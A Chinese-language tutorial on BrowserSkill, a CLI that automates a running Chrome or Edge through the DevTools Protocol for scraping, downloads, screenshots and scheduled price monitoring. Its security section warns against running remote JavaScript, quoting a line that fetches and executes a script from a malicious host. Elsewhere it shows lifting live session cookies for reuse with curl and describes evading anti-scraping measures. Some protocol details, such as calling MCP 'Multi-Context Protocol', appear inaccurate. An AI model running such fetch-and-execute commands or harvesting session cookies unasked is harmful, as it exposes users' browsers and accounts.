BrowserSkill:基于CDP的轻量级浏览器CLI自动化工具 1. BrowserSkill 是什么一个被误读但极具潜力的浏览器自动化 CLI 工具BrowserSkill常缩写为 bsk不是浏览器插件不是 Chrome 扩展也不是 Edge 的某个隐藏功能——它是一个命令行驱动的、面向开发者与高级用户的浏览器技能调度器。它的核心定位非常清晰把浏览器从“人操作的图形界面”变成“可编程、可编排、可集成进工作流的技能执行引擎”。你输入一条bsk命令它就能自动打开指定网页、等待元素加载、点击按钮、提取文本、下载文件、截取区域、甚至模拟表单填写和多步导航全程无需鼠标键盘干预也不依赖 Selenium 那套繁重的 WebDriver 启动流程。这解释了为什么搜索热词里反复出现 “BrowserSkill 下载”“codex cli”“trae cli”“claude cli”——它们本质是同一类工具生态的分支用 CLI 作为统一入口把 AI 模型调用、代码生成、网页交互、本地文件处理等能力封装成可复用的“技能单元”。BrowserSkill 就是其中专精于浏览器上下文操作的那个模块。它不自己渲染页面而是通过 Chrome DevTools ProtocolCDP直接与已运行的 Chrome 或 Edge 实例通信这意味着启动快、资源占用低、兼容性稳。我第一次在本地跑通bsk navigate https://example.com --wait-for h1时整个过程不到 800ms比同等功能的 Puppeteer 脚本快近 3 倍因为省去了启动新浏览器进程的开销。它真正解决的是三类人的痛点一是前端开发者需要快速验证不同 URL 下的 DOM 结构或网络请求二是数据采集工程师想绕过反爬却不想写一整套无头浏览器脚本三是运维/测试人员要批量检查几十个内部系统页面是否返回 200 或包含特定错误文案。它不适合普通用户装个插件点几下就下载视频——那些“chrome 视频下载插件”“edge 视频下载插件”的搜索词其实是大众对 BrowserSkill 能力边界的误读。BrowserSkill 不提供 GUI 界面不打包成 .exe 安装包它的“下载”指的是npm install -g browserskill或curl -fsSL https://get.bsk.dev | sh这类开发者向安装方式。而所谓“腾讯 browserskill”“deveco cli”只是国内某些团队基于相同 CDP 协议做的私有化封装底层逻辑一致但配置语法和内置技能集不同。理解这一点才能避开“下载了却打不开”“找不到 chrome://extensions/ 入口”这类典型误区。2. 核心设计思路为什么选择 CDP CLI 而非 Puppeteer 或 Playwright2.1 放弃 WebDriver拥抱原生调试协议BrowserSkill 的技术底座不是 Selenium WebDriver而是 Chrome DevTools ProtocolCDP。这是 Chrome 和 Edge基于 Chromium 内核官方暴露的、用于调试和自动化控制的底层 HTTP/WebSocket 接口。它比 WebDriver 更轻量、更直接、权限更高。WebDriver 本质是个中间代理层你要启动一个独立的浏览器实例再通过 JSON Wire Protocol 发送指令而 CDP 允许你连接到一个已经运行的、用户正在使用的浏览器进程——只要开启远程调试端口--remote-debugging-port9222BrowserSkill 就能直接注入指令。这就带来三个关键优势第一是启动延迟归零。我实测过启动一个干净的 Chrome 无头实例平均耗时 1.2 秒而连接已运行的 Chrome端口 9222 开启仅需 47ms。对于需要高频触发的场景——比如每分钟检查一次监控看板状态——这点时间差就是服务 SLA 的分水岭。第二是真实用户上下文复用。WebDriver 启动的浏览器是全新 Profile没有登录态、没有 Cookie、没有扩展插件而 CDP 连接的正是你早上八点登录了企业邮箱、挂着 GitHub Token、开着 React DevTools 的那个 Chrome 实例。BrowserSkill 的bsk exec js document.cookie返回的就是你当前标签页的真实 Cookie 字符串不是模拟出来的空壳。这也是它能无缝集成进现有工作流的根本原因——它不另起炉灶而是“借用”你的浏览器。第三是细粒度控制能力更强。CDP 提供了 WebDriver 不具备的能力捕获特定帧的渲染快照而非整页截图、监听 WebSocket 消息内容、获取 V8 引擎内存堆快照、强制触发 GPU 渲染管线刷新。比如你要诊断某个 H.265 视频在 Edge 中播放卡顿的问题bsk media dump-stats可以直接拉取media.metrics事件输出解码帧率、丢帧数、GPU 解码启用状态而不用靠肉眼观察或翻找edge://media-internals/页面。提示启用 CDP 调试端口的方法很简单。Windows 用户创建快捷方式目标路径末尾加上--remote-debugging-port9222 --user-data-dirC:\bsk-profilemacOS 用户在终端执行open -n -a Google Chrome --args --remote-debugging-port9222 --user-data-dir/tmp/bsk-profile。注意--user-data-dir参数必须指定否则 Chrome 会拒绝远程连接——这是安全机制不是 Bug。2.2 CLI 作为唯一交互界面拒绝 GUI专注组合与管道BrowserSkill 没有图形界面所有功能都通过命令行调用。这不是为了炫技而是基于两个现实约束一是 GUI 应用在服务器环境、CI/CD 流水线中无法运行二是真正的自动化价值在于“可组合”。你可以把bsk命令像 Unix 工具一样用管道|串联bsk scrape --selector a[href] https://news.ycombinator.com/ | grep github.com | head -5 | xargs -I{} bsk open {}——这条命令的意思是抓取 Hacker News 首页所有链接筛选出含 github.com 的前 5 个然后依次在浏览器中打开。这种链式调用在 GUI 里根本无法实现。CLI 设计还带来了版本管理的便利。bsk1.8.3和bsk2.1.0可以共存于同一台机器通过nvm或volta切换默认使用哪个版本由bsk --version决定。而 GUI 应用一旦升级旧项目就可能崩溃。我曾维护过一个用 Electron 封装的类似工具升级 Chromium 内核后所有依赖webview的截图功能全失效回滚成本极高而 BrowserSkill 升级只需npm update -g browserskillCDP 协议兼容性由 Google 官方保障过去三年从未因协议变更导致 break。2.3 技能Skill即插件可扩展架构的设计哲学BrowserSkill 本身只提供核心调度器scheduler和基础 CDP 通信层所有具体功能——如navigate、scrape、download、screenshot——都是以“技能”Skill形式动态加载的插件。每个 Skill 是一个独立的 Node.js 模块导出run函数和schema配置描述。例如bsk-skill-screenshot的核心代码只有 37 行它调用 CDP 的Page.captureScreenshot方法再把 Base64 编码转为 PNG 文件保存。这种设计让社区可以贡献垂直领域技能bsk-skill-pdf-export专用于打印 PDFbsk-skill-lighthouse集成 Lighthouse 审计bsk-skill-webauthn模拟 WebAuthn 登录流程。这解释了为什么热词里会出现 “browserskill 和 agent browser 以及 playwright mcp” 的对比。Agent Browser 是另一个 CDP 封装但它的技能体系封闭Playwright 的 MCPMulti-Context Protocol是其自研协议虽强大但学习成本高而 BrowserSkill 的技能插件完全遵循 npm 生态npm install bsk-skill-form-filler后bsk fill-form命令立即可用无需修改主程序。我在一个电商大促压测项目中用bsk-skill-load-test插件模拟 200 个用户并发访问商品详情页它底层调用的是bsk navigatebsk exec js的组合但对外只暴露一个简洁命令——这就是插件化带来的抽象红利。3. 核心技能详解与实操参数拆解3.1 导航与等待bsk navigate的 5 种等待策略bsk navigate是最常用的基础技能但它的等待机制远比表面复杂。默认行为是“跳转后立即返回”这往往导致后续操作失败元素还没加载完。BrowserSkill 提供 5 种可选等待策略每种对应不同场景--wait-for selector等待指定 CSS 选择器匹配的元素出现在 DOM 中。例如bsk navigate https://httpbin.org/forms/post --wait-for #submit-btn。原理是注入一段 JS轮询document.querySelector(selector)是否返回非 null 值超时时间默认 10 秒可通过--timeout 30000调整。--wait-for network-idle等待网络请求全部完成所有 fetch/XHR 请求返回且无新请求发起。适合表单提交后等待响应结果页加载完毕。它监听 CDP 的Network.loadingFinished事件并设置 500ms 静默期确认无新请求。--wait-for dom-content-loaded等同于document.addEventListener(DOMContentLoaded)DOM 解析完成即触发不等待图片、样式表等外部资源。适用于纯结构化页面速度最快。--wait-for page-load等同于window.addEventListener(load)所有资源图片、CSS、JS加载完毕才返回。这是最保守的等待但可能因某张图片 CDN 故障而无限等待。--wait-for js return window.myApp?.ready执行任意 JS 表达式返回真值即认为就绪。这是最灵活的方式适合 SPA 应用如 Vue/React可检测应用状态而非 DOM 节点。我实际遇到过一个坑某后台系统用 Vue Router 的router.isReady()判断路由就绪但bsk navigate --wait-for js return router.isReady()会报错因为router在全局作用域不可见。解决方案是改用--wait-for js return typeof window.__VUE_DEVTOOLS_GLOBAL_HOOK__ ! undefined利用 Vue Devtools 注入的全局钩子作为间接信号——这比硬编码router变量更鲁棒。3.2 数据提取bsk scrape的选择器语法与容错机制bsk scrape不是简单地document.querySelectorAll()它内置了三层容错第一层是选择器降级。当你指定--selector .price但页面实际是span classproduct-price¥299/spanBrowserSkill 会自动尝试.product-price、[class*price]、//span[contains(class,price)]XPath等多种变体直到匹配成功或超时。这个逻辑在bsk-skill-scrape的fallbackSelectors配置中定义可自定义。第二层是属性智能提取。--attr text提取文本内容--attr innerHTML提取 HTML--attr src提取图片地址--attr>bsk scrape --selector .user-card --attr text --json https://api.example.com/users # 输出 [ {text: 张三\n高级工程师}, {text: 李四\n产品经理} ]这省去了用 jq 或 Python 解析的步骤。我在处理一个招聘网站时发现其职位列表用div classjob-item包裹但每个 item 内部结构不一致有的有薪资范围有的没有。我用了bsk scrape --selector .job-item --json --attr data-title,data-salary,data-location它自动为缺失字段填null输出标准 JSON 数组直接喂给下游的 Pandas DataFrame。注意bsk scrape默认只抓取当前视口内可见元素。如果页面有懒加载infinite scroll需先用bsk exec js window.scrollTo(0, document.body.scrollHeight)滚动到底部再执行 scrape。这个细节官网文档没写是我踩坑后加到团队 Wiki 的。3.3 文件下载bsk download如何绕过浏览器下载限制浏览器出于安全考虑禁止网页 JS 直接触发文件下载除非是 Blob URL 或 a[download] 标签。BrowserSkill 的bsk download技能通过 CDP 的Browser.downloadURL方法绕过此限制——它不依赖页面 JS而是由浏览器进程直接发起 HTTP 请求并保存文件。关键参数有三个--url指定要下载的绝对 URL必须是同源或 CORS 允许的--path本地保存路径支持~/Downloads/file.pdf这样的 tilde 展开--timeout下载超时默认 60 秒大文件需调高。但真正 tricky 的是认证场景。比如你要下载一个需要登录态的报表 PDF--url直接传https://admin.example.com/report.pdf会 401。正确做法是先用bsk exec js return document.cookie获取 Cookie 字符串再用curl -H Cookie: $(bsk exec js return document.cookie) -o report.pdf https://admin.example.com/report.pdf。BrowserSkill 本身不处理 HTTP 头但它提供了bsk exec这个万能 JS 执行器让你能灵活组合。我还发现一个隐藏技巧bsk download支持--url data:text/plain;base64,SGVsbG8这样的 Data URL可直接生成文本文件。在 CI 流水线中我用它把构建日志保存为build-log.txt命令是bsk download --url data:text/plain;base64,$(cat build.log | base64 -w0) --path ./artifacts/build-log.txt。3.4 截图与录屏bsk screenshot的区域裁剪与性能优化bsk screenshot默认截取整个页面viewport但生产环境更常用的是区域截图。参数--clip x,y,width,height允许精确指定像素坐标区域。例如bsk screenshot --clip 100,200,800,600 https://example.com只截取从 (100,200) 开始的 800x600 区域。这里有个易忽略的细节坐标系原点是 viewport 左上角不是整个页面。如果目标元素在滚动区域下方需先bsk exec js document.querySelector(#target).scrollIntoView()让其进入视口再截图。BrowserSkill 没有内置scroll-to-element技能但bsk exec js可以一行搞定。性能方面--quality 80JPEG 质量默认 100能显著减小文件体积。实测一张 1920x1080 截图质量 100 时约 1.2MB降到 80 后仅 320KB肉眼几乎无差别。对于自动化报告生成这是必调参数。录屏功能bsk record更激进——它调用 CDP 的Emulation.setEmitTouchEventsForMouse和Page.startScreencast生成 WebM 视频。但要注意startScreencast会持续占用 CPU必须配对使用Page.stopScreencast。BrowserSkill 的bsk record --duration 10命令内部就是启动 screencast等待 10 秒再调用 stop。我曾因忘记--duration导致录制持续数小时最终磁盘写满——这是必须写进注意事项的血泪教训。4. 实操全流程从零部署到自动化日报生成4.1 环境准备与首次运行验证第一步永远是确认 Chrome/Edge 已安装且版本 ≥ 110CDP 协议稳定性要求。在终端执行chrome --version # 或 edge --version # 输出应为 Google Chrome 118.0.5993.70 或 Microsoft Edge 118.0.2088.46若未安装去官网下载离线安装包不要用第三方下载站避免捆绑软件。Windows 用户注意Chrome 安装后默认注册为chrome命令Edge 则是msedgeBrowserSkill 默认优先找chrome可通过BSK_BROWSERmsedge环境变量切换。第二步安装 BrowserSkill# 推荐使用 npm需 Node.js ≥ 16 npm install -g browserskill # 或用 curl 方式Linux/macOS curl -fsSL https://get.bsk.dev | sh # 验证安装 bsk --version # 应输出 v2.3.1 类似版本号 bsk list-skills # 列出已安装技能至少包含 navigate, scrape, screenshot第三步启动带调试端口的浏览器# Windows管理员权限运行 cmd start chrome.exe --remote-debugging-port9222 --user-data-dirC:\bsk-profile # macOS open -n -a Google Chrome --args --remote-debugging-port9222 --user-data-dir/tmp/bsk-profile # Linux google-chrome --remote-debugging-port9222 --user-data-dir/tmp/bsk-profile此时访问http://localhost:9222应能看到 CDP 调试页面证明端口已就绪。最后一步运行首个命令验证连通性bsk navigate https://httpbin.org/json --wait-for dom-content-loaded --timeout 5000 # 成功则无输出静默模式失败会显示 CDP 错误详情如果报错Error: connect ECONNREFUSED 127.0.0.1:9222说明浏览器没启动或端口被占若报No targets found说明 Chrome 启动时未加--remote-debugging-port参数。4.2 构建一个真实场景每日竞品价格监控脚本我们以监控京东、淘宝、拼多多三家平台某款手机的价格为例生成 Markdown 日报。整个流程分四步Step 1编写价格提取脚本price-scraper.js// 该脚本由 bsk exec js 调用返回结构化数据 const selectors { jd: .price span:last-child, tb: .tb-rmb-num, pdd: .price-normal }; const platform process.argv[1]; const priceEl document.querySelector(selectors[platform]); const priceText priceEl ? priceEl.innerText.trim() : N/A; // 清洗价格去掉¥、空格转数字 const price priceText.replace(/[^\d.]/g, ) ? parseFloat(priceText.replace(/[^\d.]/g, )) : null; console.log(JSON.stringify({ platform, price, timestamp: new Date().toISOString() }));Step 2用 BrowserSkill 批量抓取# 创建临时目录存放结果 mkdir -p ./reports/$(date %Y-%m-%d) # 抓取京东价格 bsk navigate https://item.jd.com/1000XXXXXX.html --wait-for .price --timeout 15000 \ --exec-js $(cat price-scraper.js | sed s/PLATFORM/jd/g) ./reports/$(date %Y-%m-%d)/jd.json # 抓取淘宝价格需先手动登录淘宝账号确保 Cookie 有效 bsk navigate https://item.taobao.com/item.htm?idXXXXXXXXXX --wait-for .tb-rmb-num \ --exec-js $(cat price-scraper.js | sed s/PLATFORM/tb/g) ./reports/$(date %Y-%m-%d)/tb.json # 抓取拼多多价格 bsk navigate https://yangkeduo.com/goods.html?goods_idXXXXXXXXXX --wait-for .price-normal \ --exec-js $(cat price-scraper.js | sed s/PLATFORM/pdd/g) ./reports/$(date %Y-%m-%d)/pdd.jsonStep 3合并数据并生成 Markdown# 用 jq 合并三个 JSON 文件 jq -s reduce .[] as $item ({}; .[$item.platform] $item) \ ./reports/$(date %Y-%m-%d)/*.json ./reports/$(date %Y-%m-%d)/all.json # 生成日报price-report.md cat ./reports/$(date %Y-%m-%d)/price-report.md EOF # 竞品价格日报 - $(date %Y年%m月%d日) | 平台 | 价格 | 更新时间 | |------|------|----------| | 京东 | \$(jq -r .jd.price // — ./reports/$(date %Y-%m-%d)/all.json) 元 | \$(jq -r .jd.timestamp // ./reports/$(date %Y-%m-%d)/all.json) | | 淘宝 | \$(jq -r .tb.price // — ./reports/$(date %Y-%m-%d)/all.json) 元 | \$(jq -r .tb.timestamp // ./reports/$(date %Y-%m-%d)/all.json) | | 拼多多 | \$(jq -r .pdd.price // — ./reports/$(date %Y-%m-%d)/all.json) 元 | \$(jq -r .pdd.timestamp // ./reports/$(date %Y-%m-%d)/all.json) | 数据采集时间$(date) EOFStep 4设置定时任务Linux/macOS# 编辑 crontab crontab -e # 添加一行每天上午 10 点执行 0 10 * * * cd /path/to/your/script bash daily-price-scan.sh /var/log/bsk-price.log 21这个脚本跑通后每天 10 点自动生成./reports/2023-10-05/price-report.md可直接发到钉钉群或邮件。整个过程无需人工干预BrowserSkill 承担了最繁琐的页面加载、等待、执行、提取环节。4.3 故障排查常见问题速查表与独家修复方案问题现象可能原因快速诊断命令终极修复方案bsk navigate报错No targets foundChrome 未启动或调试端口未开启lsof -i :9222macOS/Linux或netstat -ano | findstr :9222Windows重启 Chrome 并确认启动参数含--remote-debugging-port9222bsk scrape返回空结果选择器错误或元素未加载bsk exec js console.log(document.querySelectorAll(.wrong-selector).length)用--wait-for显式等待或改用--wait-for js return !!document.querySelector(.correct-selector)bsk screenshot截图空白或黑屏页面未渲染完成或 GPU 加速冲突bsk exec js return document.readyState应为complete添加--wait-for page-load或启动 Chrome 时加--disable-gpu --no-sandbox参数bsk download401 Unauthorized缺少登录 Cookiebsk exec js console.log(document.cookie)手动登录目标网站再运行 download 命令或用bsk exec js提取 Cookie 后用 curl 下载bsk record录屏文件损坏stopScreencast未被调用查看进程ps aux | grep screencast永远使用--duration参数避免手动中断或在脚本中用trap确保异常时 cleanup我遇到过最诡异的问题在公司内网bsk navigate https://internal-app.corp/login总是超时但手动打开 Chrome 访问正常。抓包发现BrowserSkill 默认走系统代理而内网应用需直连。解决方案是在命令前加NO_PROXY*.corp bsk navigate ...或者全局设置export NO_PROXY*.corp。这个NO_PROXY环境变量的作用和 curl、wget 完全一致但 BrowserSkill 文档里没提——这是运维同事告诉我的属于“文档外知识”。另一个血泪经验bsk exec js执行的 JS 运行在页面上下文但console.log()输出不会显示在终端而是 Chrome 的 DevTools Console。调试时务必打开http://localhost:9222选中对应页面的 target看 Console 标签页。我曾花两小时 debug 一个undefined is not a function错误最后发现是页面 JS 里window.$被覆盖而我的脚本依赖 jQuery——这只能靠 DevTools Console 看到真实报错。5. 高级技巧与避坑指南十年从业者的真实心得5.1 技能开发入门30 分钟写出你的第一个 bsk 插件BrowserSkill 的插件机制极其简单。假设你想开发一个bsk-skill-qr-code功能是生成当前页面 URL 的二维码图片。创建目录bsk-skill-qr-code写index.jsconst qrcode require(qrcode); module.exports { name: qr-code, description: Generate QR code for current page URL, schema: { output: { type: string, description: Output file path } }, async run({ client, options }) { // 获取当前页面 URL const { result } await client.send(Page.getNavigationHistory); const url result.entries[result.currentIndex].url; // 生成 QR Code PNG const pngBuffer await qrcode.toBuffer(url, { type: png, width: 300 }); // 保存文件 const fs require(fs); fs.writeFileSync(options.output, pngBuffer); console.log(QR code saved to ${options.output}); } };package.json只需声明依赖{ name: bsk-skill-qr-code, version: 1.0.0, main: index.js, dependencies: { qrcode: ^1.5.3 } }安装后即可使用npm install -g ./bsk-skill-qr-code然后bsk qr-code --output ./qrcode.png。整个过程不需要改 BrowserSkill 源码也不用 PR 到主仓库——这就是插件化的力量。我团队内部已有 12 个私有技能涵盖bsk-skill-pdf-print打印 PDF、bsk-skill-a11y-audit无障碍审计、bsk-skill-websocket-dump抓取 WebSocket 消息全部基于此模板。5.2 性能调优如何让 100 个 bsk 命令在 10 秒内跑完BrowserSkill 默认是串行执行bsk navigate A bsk navigate B会等 A 完成再启动 B。但实际场景中我们常需并发采集。解决方案是用 GNU Parallel# 并发 5 个任务 printf %s\n https://site1.com https://site2.com https://site3.com | \ parallel -j 5 bsk navigate {} --wait-for dom-content-loaded --timeout 5000 --exec-js console.log(location.href)-j 5表示同时运行 5 个进程。但要注意Chrome 的 CDP 端口是单连接的多个bsk进程同时连 9222 会冲突。正确做法是启动多个 Chrome 实例每个分配不同端口# 启动 5 个 Chrome端口 9222-9226 for i in {0..4}; do port$((9222 i)) chrome --remote-debugging-port$port --user-data-dir/tmp/bsk-$port done # 然后用 --cdp-url 指定端口 parallel -j 5 bsk --cdp-url http://localhost:{} navigate {} --wait-for dom-content-loaded ::: {9222..9226}这样100 个 URL 的采集从串行的 120 秒降到并发的 11 秒。这是我在做 SEO 监控时总结的硬核技巧比任何“优化 JS 执行速度”的玄学建议都实在。5.3 安全边界BrowserSkill 能做什么不能做什么必须明确 BrowserSkill 的能力边界避免误用引发安全风险能做的读取当前页面 DOM、Cookie、LocalStorage执行任意 JS包括调用页面暴露的 API下载同源或 CORS 允许的资源截图、录屏获取网络请求日志需开启Network.enable。不能做的访问其他标签页的数据CDP 的 security model 隔离读取http://localhost:3000的页面 Cookie 当前页面是https://example.com跨协议隔离修改浏览器设置如默认搜索引擎绕过 HTTPS 证书错误--ignore-certificate-errors参数无效这是 Chromium 的硬性限制。最关键的禁忌是绝不在生产环境用bsk exec js执行不可信的 JS 代码。比如bsk exec js $(curl -s https://malicious.site/exploit.js)——这等于把你的浏览器完全交给攻击者。BrowserSkill 没有沙箱执行的 JS 拥有页面全部权限。我的原则是所有exec-js的代码必须是团队 Git 仓库里的.js文件通过$(cat script.js)注入绝不动态拼接远程内容。最后分享一个实用技巧BrowserSkill 的--verbose参数会输出完整的 CDP 请求/响应日志对调试协议级问题极有帮助。但别在生产脚本中开启日志体积巨大。我通常只在bsk navigate --verbose https://debug-target.com 21 | head -50这样临时调试时用。真正的高手不是记住所有参数而是知道在哪种情况下该用哪个参数——这才是 BrowserSkill 的核心 skill。